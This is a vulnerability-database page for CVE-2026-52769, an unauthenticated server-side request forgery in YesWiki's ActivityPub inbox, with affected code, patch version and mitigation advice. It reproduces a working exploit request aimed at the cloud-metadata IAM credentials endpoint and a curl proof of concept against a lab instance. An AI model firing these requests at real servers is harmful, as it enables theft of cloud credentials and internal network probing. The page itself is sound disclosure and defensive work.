Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
HIGH severity

CVE-2026-52769 — yeswiki/yeswiki

HIGHFix: YesWiki/yeswiki@87e627f

CVE-2026-52769 is a high-severity (CVSS 8.3) Server-Side Request Forgery (SSRF) vulnerability in yeswiki/yeswiki. A fix is available for yeswiki/yeswiki — see the affected versions and patch details below.

YesWiki: Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`

Also known asGHSA-vw42-752g-5mrp
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 2, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-52769.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs40th percentile — riskier than 40% of all scored CVEsHighest risk
0.00%0.33%0.66%0.99%0.5%0.5%Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-52769 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 383,485 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐘yeswiki/yeswiki

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The POST /api/forms/{formId}/actor/inbox route - exposed publicly with acl:"public" - accepts an HTTP Signature header whose keyId parameter is a URL. HttpSignatureService::verifySignature() parses the header and immediately makes a server-side HTTP GET to that URL, before any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (169.254.169.254), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata.

The only deployment-side precondition is that ActivityPub be enabled on at least one Bazar form (bn_activitypub_enable = '1').

Details

Affected component

  • File: tools/bazar/services/HttpSignatureService.php
  • Method: HttpSignatureService::verifySignature(Request $request)
  • Sink: line 96
  • Route: tools/bazar/controllers/ApiController.php line 125 — @Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}})
// tools/bazar/services/HttpSignatureService.php  (v4.6.5 = origin/doryphore-dev HEAD,
// lines 83–100)
public function verifySignature(Request $request) {
    if (!$request->headers->has('Signature')) {
        throw new Exception('No signature');
    }

    $sigConf = parse_ini_string(
        strtr($request->headers->get('Signature'), ["," => "\n"])           // (a) attacker controls every field
    );

    if (!isset($sigConf['keyId'],$sigConf['algorithm'],$sigConf['headers'],$sigConf['signature'])) {
        throw new Exception('Malformed signature');
    }

    $response = $this->httpClient->request('GET', $sigConf['keyId'], [    // (b) SINK — no validation,
        'headers' => [ 'Accept' => 'application/ld+json']                 //     no allowlist, no scheme
    ]);                                                                  //     pinning, no IP filtering
    ...
}

The inbox controller calls verifySignature() before running any cryptography:

// tools/bazar/controllers/ApiController.php  (lines 125–145)
/** @Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}}) */
public function postFormActorInbox($formId, Request $request)
{
    $activityPubService   = $this->getService(ActivityPubService::class);
    $httpSignatureService = $this->getService(HttpSignatureService::class);

    $form = $this->getService(BazarListService::class)->getForms(['idtypeannonce' => $formId])[$formId];

    if ($activityPubService->isEnabled($form)) {
        $activity = json_decode($request->getContent(), true);

        $httpSignatureService->verifySignature($request);     // <-- SSRF fires here
        $activityPubService->processActivity($activity, $form);
        return new ApiResponse(null, Response::HTTP_OK, …);
    } else {
        throw new NotFoundHttpException();
    }
}

The flow is public ACL → enabled-form gate → unconditional outbound HTTP. The attacker controls only the keyId value and never has to produce a valid signature, because the outbound fetch is the very first thing that touches the network.

End-to-end attack chain

A single HTTP request, no session, no CSRF token, no captcha:

POST /?api/forms/1/actor/inbox HTTP/1.1
Host: target.example
Content-Type: application/activity+json
Signature: keyId="http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>",algorithm="rsa-sha256",headers="x",signature="y"

{}
  • The Symfony controller matches the route on formId=1.
  • ActivityPubService::isEnabled($form) returns true (set when the operator turned the feature on).
  • verifySignature() parses the header into a key-value array, finds keyId, and calls httpClient->request('GET', '<attacker URL>').
  • YesWiki's server now reaches out to whatever URL the attacker provided. The response body is parsed as JSON; if it doesn't contain publicKey.publicKeyPem the controller returns an HTTP 500 whose JSON body leaks the full exception message and stack trace, including the URL.

PoC

Pre Reqs

  • Yeswiki v4.6.5 lab image (Setup via podman)
  • ActivityPub enabled on the target form

For the rest of this document:

BASE="http://localhost:8085"
CTR="yeswiki-poc"

Before we start, make sure ActivityPub is enabled on the target form

podman exec "$CTR" mysql -uroot yeswiki -e \
    "SELECT bn_id_nature AS id, bn_label_nature AS form, bn_activitypub_enable AS ap
     FROM yeswiki_nature WHERE bn_id_nature = 1;"

Send the unauthenticated SSRF trigger:

TARGET="http://127.0.0.1:9999/aws-metadata?from=ssrf"

curl -s -X POST "${BASE}/?api/forms/1/actor/inbox" \
     -H "Content-Type: application/activity+json" \
     -H "Signature: keyId=\"${TARGET}\",algorithm=\"rsa-sha256\",headers=\"x\",signature=\"y\"" \
     -d '{}' \
     -w '\n  HTTP %{http_code}, elapsed=%{time_total}s\n'

You will get an error in response like this:

{"exceptionMessage":"Exception: Missing public key in /var/www/html/tools/bazar/services/HttpSignatureService.php:103\nStack trace:…"}
  HTTP 500, elapsed=0.15s

The 500 and the "Missing public key" exception are the signal the outbound fetch went all the way to the JSON parse — the listener returned {}, which contained no publicKey field, so the handler bailed after talking to the listener.

Tested with webhook: <img width="1473" height="678" alt="image" src="https://github.com/user-attachments/assets/6c720c68-3087-4e1a-b990-0a9f12ba8bbc" />

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistyeswiki/yeswiki≥ 4.6.2&&< 4.6.64.6.6composer require yeswiki/yeswiki:^4.6.6

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for yeswiki/yeswiki, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update yeswiki/yeswiki to 4.6.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-52769 is resolved across your whole dependency graph.

  3. Workarounds

    Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.

Frequently Asked Questions

## Summary The `POST /api/forms/{formId}/actor/inbox` route - exposed publicly with `acl:"public"` - accepts an HTTP `Signature` header whose `keyId` parameter is a URL. `HttpSignatureService::verifySignature()` parses the header and **immediately makes a server-side HTTP GET** to that URL, **before** any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (`169.254.169.254`), intranet-only admin panels, etc. - and read en
O3 Security · Impact-Aware SCA

Is CVE-2026-52769 in your dependencies?

Find it across Packagist, including transitive dependencies.

CVE-2026-52769: SSRF — Fixed in 4.6.6 | O3 Security